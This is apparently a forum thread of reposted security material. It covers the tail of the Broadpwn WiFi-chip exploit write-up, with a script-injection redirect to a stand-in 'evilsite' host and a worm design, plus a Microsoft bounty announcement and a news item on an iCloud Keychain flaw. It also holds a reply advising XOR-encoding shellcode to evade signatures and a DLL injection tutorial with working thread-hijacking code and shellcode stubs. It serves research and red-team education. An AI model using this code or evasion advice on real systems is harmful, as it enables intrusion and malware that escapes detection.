WiFi chips prior to the BCM4358 (the main WiFi chip used on the Samsung Galaxy S6) used Broadcom’s SDIO interface, more recent chips use PCIe, which inherently enables DMA to the application processor’s memory. The main drawback of this approach is that it will not support older phones. Waiting for the victim to browse to a non-HTTPS site, then, from the WiFi chip, redirecting them to a malicious URL. The main advantage of this approach is that it supports all devices across the board. The drawback is that a separate exploit chain for the browser is required. We believe that achieving kernel code execution from the chip is a sufficiently complicated subject as to justify a separate research; it is therefore out of the scope of the current research. However, work has already been done by Project Zero to show that a kernel write primitive can be achieved via PCIe [d]. In the current research, our approach is to use our foothold on the WiFi chip to redirect the user to an attacker-controlled site. This task is made simple by the fact that a single firmware function, wlc_recv(), is the starting point for processing all packets. The signature of this function is as follows: void wlc_recv(wlc_info *wlc, void *p); The argument p is a pointer to HNDRTE’s implementation of an sk_buff. It holds a pointer to the packet data, as well as the packet’s length and a pointer to the next packet. We will need to hook the wlc_recv function call, dump the contents of each packet that we receive. and look for packets that encapsulate unencrypted HTTP traffic. At this point, we will modify the packet the include a <script> tag, with the code: “top.location.href = http://www.evilsite.com”. THE FIRST WIFI WORM The nature of the bug, which can be triggered without any need for authentication, and the stability of the exploit, which deterministically and reliably reaches code execution, leads us to the return of an old friend: the self-propagating malware, also known as “worm”. Worms died out around the end of the last decade, together with their essential companion, the remote exploit. They have died out for the same reason: software mitigations have become too mature, and automatic infection over the network became a distant memory. Until now. Broadpwn is ideal for propagation over WLAN: It does not require authentication, doesn’t need an infoleak from the target device, and doesn’t require complicated logic to carry out. Using the information provided above, an attacker can turn a compromised device into a mobile infection station. We implemented our WiFi worm with the following steps: In the previous section, we have started running our own payload after restoring the system to a stable state and preventing a chip crash. The payload will hook wlc_recv, in a similar manner to the one showed above. The code in wlc_recv_hook will inspect each received packet, and determine whether it is a Probe Request. Recall that wlc_recv essentially behaves as if it runs in monitor mode: all packets received over the air are handled by it, and only tossed out later if they are not meant for the STA. If the received packet is a Probe Request with the SSID of a specific AP, wlc_recv_hook will extract the SSID of the requested AP, and start impersonating as that AP by sending out a Probe Response to the STA. In the next stage, wlc_recv should receive an Authentication Open Sequence packet, and our hook function should send a response. This will be followed by an Association Request from the STA. The next packet we will send is the Association Response containing the WMM IE which triggers for the bug. Here, we’ll make use of the fact that we can crash the targeted chip several times without alerting the user, and start sending crafted packets adapted to exploit a specific firmware build. This will be repeated until we have brute forced the correct set of addresses. Alternatively, the second approach, which relies on spraying the ring buffer and placing the fake timer object and the payload at a deterministic location, can also be used. Running an Alfa wireless adapter on monitor mode for about an hour in a crowded urban area, we’ve sniffed hundreds of SSID names in Probe Request packets. Of these, approximately 70% were using a Broadcom WiFi chip [e]. Even assuming moderate infection rates, the impact of a Broadpwn worm running for several days is potentially huge. Old school hackers often miss the “good old days” of the early 2000s, when remotely exploitable bugs were abundant, no mitigations were in place to stop them, and worms and malware ran rampant. But with new research opening previously unknown attack surface such as the BCM WiFi chip, those times may just be making a comeback. References [a] While KASLR is still largely unsupported on Android devices, the large variety of kernels out there effectively means that an attacker can make very few assumptions about an Android kernel’s address space. Another problem is that any misstep during an exploit will cause a kernel panic, crashing the device and drawing the attention of the victim. The BCM43xx family has been the subject of extensive security research in the past. Notable research includes Wardriving from Your Pocket (https://recon.cx/2013/slides/Recon2013-Omri%20Ildis%2C%20Yuval%20Ofir%20and%20Ruby%20Feinstein-Wardriving%20from%20your%20pocket.pdf) by Omri Ildis, Yuval Ofir and Ruby Feinstein; One Firmware to Monitor ’em All (http://archive.hack.lu/2012/Hacklu-2012-one-firmware-Andres-Blanco-Matias-Eissler.pdf) by Andres Blanco and Matias Eissler; and the Nexmon project by SEEMOO Lab (https://github.com/seemoo-lab/nexmon). These projects aimed mostly to implement monitor mode on Nexus phones by modifying the BCM firmware, and their insights greatly assisted the author with the current research. More recently, Gal Beniamini of Project Zero has published the first security-focused report about the BCM43xx family (https://googleprojectzero.blogspot.ca/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html), and has discovered several bugs in the BCM firmware. This function does not exist in the source code that we managed to obtain, so the naming is arbitrary. [d] Gal Beniamini’s second blog post about BCM deals extensively with this issue (https://googleprojectzero.blogspot.co.il/2017/04/over-air-exploiting-broadcoms-wi-fi_11.html). And while a kernel read primitive is not demonstrated in that post, the nature of the MSGBUF protocol seems to make it possible. [e] This is an estimate, and was determined by looking up the OUI part of the sniffed device’s MAC address. Sursa: https://blog.exodusintel.com/2017/07/26/broadpwn/
-
- 1
-
-
Announcing the Windows Bounty Program MSRC Team July 26, 2017 Windows 10 represents the best and newest in our strong commitment to security with world-class mitigations. One of Microsoft’s longstanding strategies toward improving software security involves investing in defensive technologies that make it difficult and costly for attackers to find, exploit and leverage vulnerabilities. We built in mitigations and defenses such as DEP, ASLR, CFG, CIG, ACG, Device Guard, and Credential Guard to harden our systems and we continue adding defenses such as Windows Defender Application Guard to significantly increase protection to harden entry points while ensuring the customer experience is seamless. In the spirit of maintaining a high security bar in Windows, we’re launching the Windows Bounty Program on July 26, 2017. This will include all features of the Windows Insider Preview in addition to focus areas in Hyper-V, Mitigation bypass, Windows Defender Application Guard, and Microsoft Edge. We’re also bumping up the pay-out range for the Hyper-V Bounty Program. Since 2012, we have launched multiple bounties for various Windows features. Security is always changing and we prioritize different types of vulnerabilities at different points in time. Microsoft strongly believes in the value of the bug bounties, and we trust that it serves to enhance our security capabilities. The overall program highlights: Any critical or important class remote code execution, elevation of privilege, or design flaws that compromises a customer’s privacy and security will receive a bounty The bounty program is sustained and will continue indefinitely at Microsoft’s discretion Bounty payouts will range from $500 USD to $250,000 USD If a researcher reports a qualifying vulnerability already found internally by Microsoft, a payment will be made to the first finder at a maximum of 10% of the highest amount they could’ve received (example: $1,500 for a RCE in Edge, $25,000 for RCE in Hyper-V) All security bugs are important to us and we request you report all security bugs to secure@microsoft.com via Coordinated Vulnerability Disclosure (CVD) policy For the latest information on new Windows features included in the Insider Previews, please visit the Windows 10 Insider Program Blog The details of the targets and the focus area can be found in the table below: Category Targets Windows Version Payout range (USD) Focus area Microsoft Hyper-V Windows 10 Windows Server 2012 Windows Server 2012 R2 Windows Server Insider Preview $5,000 to $250,000 Focus area Mitigation bypass and Bounty for defense Windows 10 $500 to $200,000 Focus area Windows Defender Application Guard WIP slow $500 to $30,000 Focus area Microsoft Edge WIP slow $500 to $15,000 Base Windows Insider Preview WIP slow $500 to $15,000 As always, the most up-to-date information about the Microsoft Bounty Programs can be found at https://aka.ms/BugBounty and in the associated terms and FAQs. Akila Srinivasan, Joe Bialek, and Matt Miller from Microsoft Security Response Center David Weston, Jason Silves from Windows and Devices Group Enterprise and Security Arthur Wongtschowski, Mary Lee, Ron Aquino, and Riley Pittman from Windows and Devices Group Information Security Sursa: https://blogs.technet.microsoft.com/msrc/2017/07/26/announcing-the-windows-bounty-program/
-
DLL Execution via Excel.Application RegisterXLL() method
Nytro replied to Nytro's topic in Exploituri
Da, de preferat macar un XOR pe shellcode, sa nu fie detectabil pe semnaturi statice. -
iOS Vulnerability Exposes iPhone Users’ Passwords and Credit Cards The security bug was discovered in the iCloud Keychain Jul 25, 2017 09:34 GMT · By Bogdan Popa · Apple has silently patched a security vulnerability in iOS 10.3 that would have allowed hackers to access information in the iCloud Keychain, including users’ passwords and credit cards. Security firm Longterm Security provides an in-depth look at the security bug, explaining that the vulnerability was discovered in the iCloud Keychain Sync's custom Off-The-Record (OTR) system. iCloud Keychan is a feature that allows Apple users to have their private information synced across multiple devices, including but not limited to passwords and credit cards. Longterm Security co-founder Alex Radocea explained that Apple’s system uses key verifications to transfer data from one device to another securely, but using a man-in-the-middle attack, hackers could have been able to bypass the process and intercept traffic sent by configured devices. Data available to hackers in plain text This means that data stored in the iCloud Keychain would have become available in plain text, without users even being aware of it, as no devices were being added and no notifications were sent. This means that passwords or credit cards were totally exposed to hackers should they wanted to steal them. While the flaw itself has already been patched by Apple in the latest iOS update, the security researcher warns that passwords need proper security, especially because this has become “critical in the real world.” “There are opportunistic attackers and criminals looking to leverage and monetize leaked password dumps in any way they can think up. They represent an immediate and constant threat to iCloud as well as any other cloud service. Passwords alone would be fairly risky when storing a trove of user data including credit card numbers,” he posted. Apple users are strongly recommended to update their devices as soon as possible, with iOS 10.3 currently available via Settings > General > Software Update on iPhones and iPads. It’s believed all the other iOS versions are vulnerable to attacks and are exposing users’ data, so updating is critical to keep data secure. Sursa: http://news.softpedia.com/news/ios-vulnerability-exposes-iphone-users-passwords-and-credit-cards-517156.shtml
-
- 2
-
-
Inject All the Things JUL 16TH, 2017 7:49 PM Well, its 2017 and I’m writing about DLL injection. It could be worse. DLL injection is a technique used by legitimate software to add/extend functionality to other programs, debugging, or reverse engineering. It is also commonly used by malware in a multitude of ways. This means that from a security perspective, it’s imperative to know how DLL injection works. I wrote most of the code of this small project, called ‘injectAllTheThings’, a while ago when I started developing custom tools for Red Team engagements (in order to emulate different types of threat actors). If you want to see some examples of threat actors using DLL injection have a look here. You may also find this project useful if you want to learn about DLL injection. The internet is full of crap when you look for this kind of information/code, and my code might not be better. I’m not a programmer, I just hack code when I need to. Anyway, I’ve put together in a single Visual Studio project multiple DLL injection techniques (actually 7 different techniques) that work both for 32 and 64 bits, in a very easy way to read and understand. Some friends showed interested in the code, so it might interest you too. Every technique has its own source file to keep things simple. Below is the output of the tool, showing all the options and techniques implemented. According to @SubTee, DLL injection is lame. I tend to agree, however DLL injection goes way beyond simply loading a DLL. You can load DLLs with signed Microsoft binaries indeed, but you won’t attach to a certain process to mess with its memory. The reason why most of the Penetration Testers don’t actually know what DLL injection is, or how it works, is because Metasploit has spoiled them too much. They use it all the time, blindly. The best place to learn about this ‘weird’ memory manipulation stuff is actually game hacking forums, I believe. If you are into Red Teaming you might have to get ‘dirty’ and play with this stuff too. Unless you are happy to just run some random tools other people have written. Most of times we start a Red Team exercise using highly sophisticated techniques, and if we stay undetected we start lowering the level of sophistication. That’s basically when we start dropping binaries on disk and playing with DLL injection. This post attempts to give an overview of DLL injection in a very simple and high level way, and at the same time serves as “documentation” support for the project hosted at GitHub. Introduction DLL injection is basically the process of inserting/injecting code into a running process. The code we inject is in the form of a dynamic linked library (DLL). Why? DLLs are meant to be loaded as needed at run time (like shared libs in UNIX). In this project I’ll be using DLLs only, however we actually can ‘inject’ code in many other forms (any PE file, shellcode/assembly, etc. as commonly seen in malware). Also, keep in mind that you need to have an appropriate level of privileges to start playing with other processes’s memory. However, I won’t be talking about protected processes and Windows privilege levels (introduced with Vista). That’s a completely different subject. Again, as I said above DLL injection can be used for legitimate purposes. For example, antivirus and endpoint security solutions use these techniques to place their own software code/hooks into “all” running processes on the system. This enables them to monitor each process while it’s running, and better protect us. There are also malicious purposes. A common technique often used was injecting into the ‘lsass’ process to obtain password hashes. We all have done that. Period. Obviously, malware also uses code injection techniques extensively. Either to run shellcode, run PE files, or load DLLs into the memory of another process to hide itself, among others. The Basics We’ll be using the MS Windows API for every technique, since it offers a considerable number of functions that allow us to attach and manipulate other processes. DLLs have been the cornerstone of MS Windows since the first version of the operating system. In fact, all the functions in the MS Windows API are contained DLLs. Some of the most important are ‘Kernel32.dll’ (which contains functions for managing memory, processes, and threads), ‘User32.dll’ (mostly user-interface functions), and ‘GDI32.dll’ (functions for drawing graphics and text display). You might be wondering why such APIs exist, why would Microsoft give us such a nice set of functions to play and mess with other processes memory? The main reason is to extend the features of an application. For example, a company creates an application and wants to allow other companies to extend or enhance the application. So yes, it has a legitimate usage purpose. Besides, DLLs are useful for project management, conserve memory, resource sharing, and so on. The diagram below tries to illustrate the process flow of almost every DLL injection technique. As you can see above, I would say DLL injection happens in four steps: 1 2 3 4 Attach to the target/remote process Allocate memory within the target/remote process Copy the DLL Path, or the DLL, into the target/remote process memory Instruct the process to execute the DLL All these steps are accomplished by calling a certain set of API functions. Each technique will require a certain setup and options to be set. I would say that each technique has their positives and negatives. Techniques We have multiple options to instruct a process to execute our DLL. The most common ones are maybe ‘CreateRemoteThread()’ and ‘NtCreateThreadEx()’. However, it’s not possible to just pass a DLL as parameter to these functions. We have to provide a memory address that holds the execution starting point. For that, we need to perform memory allocation, load our DLL with ‘LoadLibrary()’, copy memory, and so on. The project I called ‘injectAllTheThings’ (because I just hate the name ‘injector’, plus there are already too many crappy ‘injectors’ on GitHub, and I couldn’t think of anything else), includes 7 different techniques. I’m not the original author of any of the techniques. I just compiled, and cleaned, these seven techniques (yes, there are more). Some are well documented (like ‘CreateRemoteThread()’), others use undocumented APIs (like ‘NtCreateThreadEx()’). Here’s a complete list of the techniques implemented, all working for both 32 and 64 bits. CreateRemoteThread() NtCreateThreadEx() QueueUserAPC SetWindowsHookEx() RtlCreateUserThread() Code cave via SetThreadContext() Reflective DLL You might know some of these techniques by other names. This isn’t a complete list of every DLL injection technique around. As I said, there are more, I might add them later if I have to play with them for a certain project. Until now this the list of techniques I used in some projects. Some are stable, some aren’t. Maybe the unstable ones are because of my own code, you have been warned. LoadLibrary() As stated on MSDN, the ‘LoadLibrary()’ function “loads the specified module into the address space of the calling process. The specified module may cause other modules to be loaded”. 1 2 3 HMODULE WINAPI LoadLibrary( _In_ LPCTSTR lpFileName ); 1 2 3 4 5 6 7 8 9 10 11 lpFileName [in] The name of the module. This can be either a library module (a .dll file) or an executable module (an .exe file). (...) If the string specifies a full path, the function searches only that path for the module. If the string specifies a relative path or a module name without a path, the function uses a standard search strategy to find the module (...) If the function cannot find the module, the function fails. When specifying a path, be sure to use backslashes (\), not forward slashes (/). (...) If the string specifies a module name without a path and the file name extension is omitted, the function appends the default library extension .dll to the module name. (...) In other words, it takes a filename as its only parameter and everything works. That is, we only need to allocate some memory for the path of our DLL and set our execution starting point to the address of ‘LoadLibrary()’ function, passing the memory address of the path as a parameter. As you may, or may not know, the big issue here is that ‘LoadLibrary()’ registers the loaded DLL with the program. Meaning it can be easily detected, but you might be surprised that many endpoint security solutions still fail at this. Anyway, as I said before, DLL injection has legitimate usage cases too, so… Also, note that if a DLL has already been loaded with ‘LoadLibrary()’, it will not be executed again. You might work around this, but I didn’t do it for any of the techniques. With the Reflective DLL injection you don’t have this problem of course, because the DLL is not registered. The Reflective DLL injection technique instead of using ‘LoadLibrary()’, loads the entire DLL into memory. Then determines the offset to the DLL’s entry point to load it. Call it more stealthy if you want. Forensics guys will still be able to find your DLL in memory, but it won’t be that easy. Metasploit uses this massively, still most of endpoint solutions are happy with all this anyway. If you feel like hunting for this kind of stuff, or you are in the ‘blue’ side of the game, have a look here and here. As a side note, if you are really struggling with your endpoint security software being fine with all this… you might want to try to use some gaming anti-cheating engine instead (note, I’m only trying to be funny in case you didn’t get it). The anti-rootkit capabilities of some anti-cheating games is way more advanced than some AVs. There’s a really cool interview with Nick Cano, author of the “Game Hacking” book, on reddit that you must read. Just check what he has been doing and you’ll understand what I’m talking about. Attach to the target/remote process For a start, we need a handle to the process we want to interact with. For this we use the ‘OpenProcess()’ API call. 1 2 3 4 5 HANDLE WINAPI OpenProcess( _In_ DWORD dwDesiredAccess, _In_ BOOL bInheritHandle, _In_ DWORD dwProcessId ); If you read the documentation on MSDN you’ll see that we need to request a certain set of access rights. A complete list of access rights can be found here. These might vary across MS Windows versions. The following is used across almost every technique. 1 2 3 4 5 6 HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId); Allocate memory within the target/remote process In order to allocate memory for the DLL path we use ‘VirtualAllocEx()’. As stated in MSDN, ‘VirtualAllocEx()’ “reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.” 1 2 3 4 5 6 7 LPVOID WINAPI VirtualAllocEx( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect ); Basically, we’ll do something like this: 1 2 3 4 5 // calculate the number of bytes needed for the DLL's pathname DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t); // allocate space in the target/remote process for the pathname LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); Or you could be a bit smarter and use the ‘GetFullPathName()’ API call. However, I don’t use this API call on the whole project. Just a matter of preference, or not being smart. If you want to allocate space for the full DLL, you’ll have to do something like: 1 2 3 4 5 hFile = CreateFileW(pszLibFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); dwSize, = GetFileSize(hFile, NULL); PVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); Copy the DLL Path, or the DLL, into the target/remote process' memory Now it’s just a matter of copying our DLL Path, or the full DLL, into the target/remote process by using the ‘WriteProcessMemory()’ API call. 1 2 3 4 5 6 7 BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_ LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesWritten ); That is something like… 1 DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL); If we want to copy the full DLL, like in the Reflective DLL injection technique, there’s a bit more code, as we need to read it into memory before we copy it into the target/remote process. 1 2 3 4 5 lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength); ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL); WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL); As I mentioned before, by using the Reflective DLL injection technique, and copying the DLL into memory, the DLL won’t be registered with the process. It gets a bit complex because we need to obtain the entry point to the DLL when it is loaded in memory. The ‘LoadRemoteLibraryR()’ function, which is part of the Reflective DLL project, does it for us. Have a look at the source if you want. One thing to notice is that the DLL we’ll be injecting needs to be compiled with the appropriate includes and options so it aligns itself with the ReflectiveDLLInjection method. The ‘injectAllTheThings’ project includes a DLL called ‘rdll_32.dll/rdll_64.dll’ that you can use to play with. Instruct the process to execute the DLL CreateRemoteThread() We can say that ‘CreateRemoteThread()’ is the classic and most popular DLL Injection technique around. Also, the most well documented one. It consists of the steps below: 1 2 3 4 5 Open the target process with OpenProcess() Find the address of LoadLibrary() by using GetProcAddress() Reserve memory for the DLL path in the target/remote process address space by using VirtualAllocEx() Write the DLL path into the previously reserved memory space with WriteProcessMemory() Use CreateRemoteThread() to create a new thread, which will call the LoadLibrary() function with the DLL path name as parameter If you look at ‘CreateRemoteThread()’ documentation on MSDN, we can see that we need a “pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process.” Which means that to execute our DLL we only need to instruct our process to do it. Simple. See below all the basic steps listed above. 1 2 3 4 5 6 7 8 9 10 11 12 13 HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId); // Allocate space in the remote process for the pathname LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); // Copy the DLL's pathname to the remote process address space DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL); // Get the real address of LoadLibraryW in Kernel32.dll PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); // Create a remote thread that calls LoadLibraryW(DLLPathname) HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL); For the complete source code see ’t_CreateRemoteThread.cpp'. NtCreateThreadEx() Another option is to use ‘NtCreateThreadEx()’. This is an undocumented ‘ntdll.dll’ function and it might disappear or change in the future. This technique is a bit more complex to implement as we need a structure (see below) to pass to it and another to receive data from it. 1 2 3 4 5 6 7 8 9 10 11 struct NtCreateThreadExBuffer { ULONG Size; ULONG Unknown1; ULONG Unknown2; PULONG Unknown3; ULONG Unknown4; ULONG Unknown5; ULONG Unknown6; PULONG Unknown7; ULONG Unknown8; }; There’s a good explanation about this call here. The setup is very close to what we do for ‘CreateRemoteThread()’. However, instead of calling ‘CreateRemoteThread()’ we do something along the lines. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 PTHREAD_START_ROUTINE ntCreateThreadExAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx"); LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr; NTSTATUS status = funNtCreateThreadEx( &hRemoteThread, 0x1FFFFF, NULL, hProcess, pfnThreadRtn, (LPVOID)pszLibFileRemote, FALSE, NULL, NULL, NULL, NULL ); For the complete source code see ’t_NtCreateThreadEx.cpp'. QueueUserAPC() An alternative to the previous techniques, that doesn’t create a new thread in the target/remote process, is the ‘QueueUserAPC()’ call. As documented on MSDN, this call “adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread.” Here’s the definition. 1 2 3 4 5 DWORD WINAPI QueueUserAPC( _In_ PAPCFUNC pfnAPC, _In_ HANDLE hThread, _In_ ULONG_PTR dwData ); 1 2 3 4 5 6 7 8 9 pfnAPC [in] A pointer to the application-supplied APC function to be called when the specified thread performs an alertable wait operation. (...) hThread [in] A handle to the thread. The handle must have the THREAD_SET_CONTEXT access right. (...) dwData [in] A single value that is passed to the APC function pointed to by the pfnAPC parameter. So, if we don’t want to create our own thread, we can use ‘QueueUserAPC()’ to “hijack” an existing thread in the target/remote process. That is, calling this function will queue an asynchronous procedure call on the specified thread. We can use a real APC callback function instead of ‘LoadLibrary()’. The parameter can actually be a pointer to the filename of the DLL we want to inject. 1 DWORD dwResult = QueueUserAPC((PAPCFUNC)pfnThreadRtn, hThread, (ULONG_PTR)pszLibFileRemote); There’s a little gotcha that you might notice if you try this technique, which is related to the way MS Windows executes APC’s. There’s no scheduler looking at the APC queue, meaning the queue is only examined when the thread becomes alertable. Because of this we basically hijack every single thread, see below. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 BOOL bResult = Thread32First(hSnapshot, &threadEntry); while (bResult) { bResult = Thread32Next(hSnapshot, &threadEntry); if (bResult) { if (threadEntry.th32OwnerProcessID == dwProcessId) { threadId = threadEntry.th32ThreadID; wprintf(TEXT("[+] Using thread: %i\n"), threadId); HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId); if (hThread == NULL) wprintf(TEXT("[-] Error: Can't open thread. Continuing to try other threads...\n")); else { DWORD dwResult = QueueUserAPC((PAPCFUNC)pfnThreadRtn, hThread, (ULONG_PTR)pszLibFileRemote); if (!dwResult) wprintf(TEXT("[-] Error: Couldn't call QueueUserAPC on thread> Continuing to try othrt threads...\n")); else wprintf(TEXT("[+] Success: DLL injected via CreateRemoteThread().\n")); CloseHandle(hThread); } } } } We basically do this expecting one thread to become alertable. As a side note, it was nice to see this technique being used by DOUBLEPULSAR. For the complete source code see ’t_QueueUserAPC.cpp'. SetWindowsHookEx() In order to use this technique the first thing we need to understand is how MS Windows hooks work. Basically, hooks are a way to intercept events and act on them. As you may guess, there are many different types of hooks. The most common ones might be WH_KEYBOARD and WH_MOUSE. You guessed right, these can be used to monitor, the keyboard and mouse input. The ‘SetWindowsHookEx()’ “installs an application-defined hook procedure into a hook chain.” 1 2 3 4 5 6 HHOOK WINAPI SetWindowsHookEx( _In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId ); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 idHook [in] Type: int The type of hook procedure to be installed. (...) lpfn [in] Type: HOOKPROC A pointer to the hook procedure. (...) hMod [in] Type: HINSTANCE A handle to the DLL containing the hook procedure pointed to by the lpfn parameter. (...) dwThreadId [in] Type: DWORD The identifier of the thread with which the hook procedure is to be associated. (...) An interesting remark on MSDN states that: “SetWindowsHookEx can be used to inject a DLL into another process. A 32-bit DLL cannot be injected into a 64-bit process, and a 64-bit DLL cannot be injected into a 32-bit process. If an application requires the use of hooks in other processes, it is required that a 32-bit application call SetWindowsHookEx to inject a 32-bit DLL into 32-bit processes, and a 64-bit application call SetWindowsHookEx to inject a 64-bit DLL into 64-bit processes. The 32-bit and 64-bit DLLs must have different names.” Keep this in mind. Here’s a simple extract of the implementation. 1 2 3 GetWindowThreadProcessId(targetWnd, &dwProcessId); HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, threadID); We need to understand that every event that occurs will go through a hook chain, which is a series of procedures that will run on the event. The setup of ‘SetWindowsHookExe()’ is basically how we put our own hook procedure into the hook chain. The code above takes the type of hook to be installed (WH_KEYBOARD), the pointer to the procedure, the handle to the DLL with the procedure, and the thread id to associate the hook to. In order to get the pointer to the procedure we need to first load the DLL using the ‘LoadLibrary()’ call. Then we call ‘SetWindowsHookEx()’ and wait for the event that we want (in our case pressing a key). Once that event happens our DLL is executed. Note that even the CIA guys are, potentially, having some fun with ‘SetWindowsHookEx()’ as we can see on Wikileaks. For the complete source code see ’t_SetWindowsHookEx.cpp'. RtlCreateUserThread() The ‘RtlCreateUserThread()’ is an undocumented API call. Its setup is, almost, the same as ‘CreateRemoteThread()’, and subsequently as ‘NtCreateThreadEx()’. Actually, ‘RtlCreateUserThread()’ calls ‘NtCreateThreadEx()’, which means ‘RtlCreateUserThread()’ is a small wrapper for ‘NtCreateThreadEx()’. So, nothing new here. However, we might want to just use ‘RtlCreateUserThread()’ instead of ‘NtCreateThreadEx()’. Even if the later changes, our ‘RtlCreateUserThread()’ should still work. As you might know, among others, mimikatz and Metasploit both use ‘RtlCreateUserThread()’. If you are curious, have a look here and here. So, if mimikatz and Metasploit are using ‘RtlCreateUserThread()’… and yes, those guys know their stuff… follow their “advice”, use ‘RtlCreateUserThread()’. Especially if you are planning to do something more serious than a simple ‘injectAllTheThings’ program. For the complete source code see ’t_RtlCreateUserThread.cpp'. SetThreadContext() This is actually a very cool method. A specially crafted code is injected into the target/remote process by allocating a chunk of memory in the target/remote process. This code is responsible for loading the DLL. Here’s the code for 32 bits. 1 2 3 4 5 6 7 8 9 0x68, 0xCC, 0xCC, 0xCC, 0xCC, // push 0xDEADBEEF (placeholder for return address) 0x9c, // pushfd (save flags and registers) 0x60, // pushad 0x68, 0xCC, 0xCC, 0xCC, 0xCC, // push 0xDEADBEEF (placeholder for DLL path name) 0xb8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, 0xDEADBEEF (placeholder for LoadLibrary) 0xff, 0xd0, // call eax (call LoadLibrary) 0x61, // popad (restore flags and registers) 0x9d, // popfd 0xc3 // ret For 64 bits I couldn’t actually find any assembly working code and I kinda wrote my own. See below. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 0x50, // push rax (save rax) 0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (placeholder for return address) 0x9c, // pushfq 0x51, // push rcx 0x52, // push rdx 0x53, // push rbx 0x55, // push rbp 0x56, // push rsi 0x57, // push rdi 0x41, 0x50, // push r8 0x41, 0x51, // push r9 0x41, 0x52, // push r10 0x41, 0x53, // push r11 0x41, 0x54, // push r12 0x41, 0x55, // push r13 0x41, 0x56, // push r14 0x41, 0x57, // push r15 0x68,0xef,0xbe,0xad,0xde, // fastcall convention 0x48, 0xB9, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rcx, 0CCCCCCCCCCCCCCCCh (placeholder for DLL path name) 0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (placeholder for LoadLibrary) 0xFF, 0xD0, // call rax (call LoadLibrary) 0x58, // pop dummy 0x41, 0x5F, // pop r15 0x41, 0x5E, // pop r14 0x41, 0x5D, // pop r13 0x41, 0x5C, // pop r12 0x41, 0x5B, // pop r11 0x41, 0x5A, // pop r10 0x41, 0x59, // pop r9 0x41, 0x58, // pop r8 0x5F, // pop rdi 0x5E, // pop rsi 0x5D, // pop rbp 0x5B, // pop rbx 0x5A, // pop rdx 0x59, // pop rcx 0x9D, // popfq 0x58, // pop rax 0xC3 // ret Before we inject this code into the target process some placeholders need to be filled/patched with: Return address (address where the thread should resume once the code stub has finished execution) The DLL path name Address of LoadLibrary() And that’s when the game of hijacking, suspending, injecting, and resuming a thread comes into play. We need first to attach to the target/remote process, of course, and allocate memory into the target/remote process. Note that we need to allocate memory with read and write privileges to hold the DLL path name and to hold our assembly code that will load the DLL. 1 2 3 LPVOID lpDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); stub = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Next, we need to get the context of one of the threads running on the target/remote process (the one that is going to be injected with our assembly code). To find the thread, we use the function ‘getThreadID()’, you can find it on the file ‘auxiliary.cpp’. Once we have our thread id, we need to set the thread context. 1 hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID); Next, we need to suspend the thread to capture its context. The context of a thread is the state of its registers. We are particularly interested in EIP/RIP (call it IP - instruction pointer, if you want). Since the thread is suspended, we can change the EIP/RIP value and force it to continue its execution in a different path (our code cave). 1 2 3 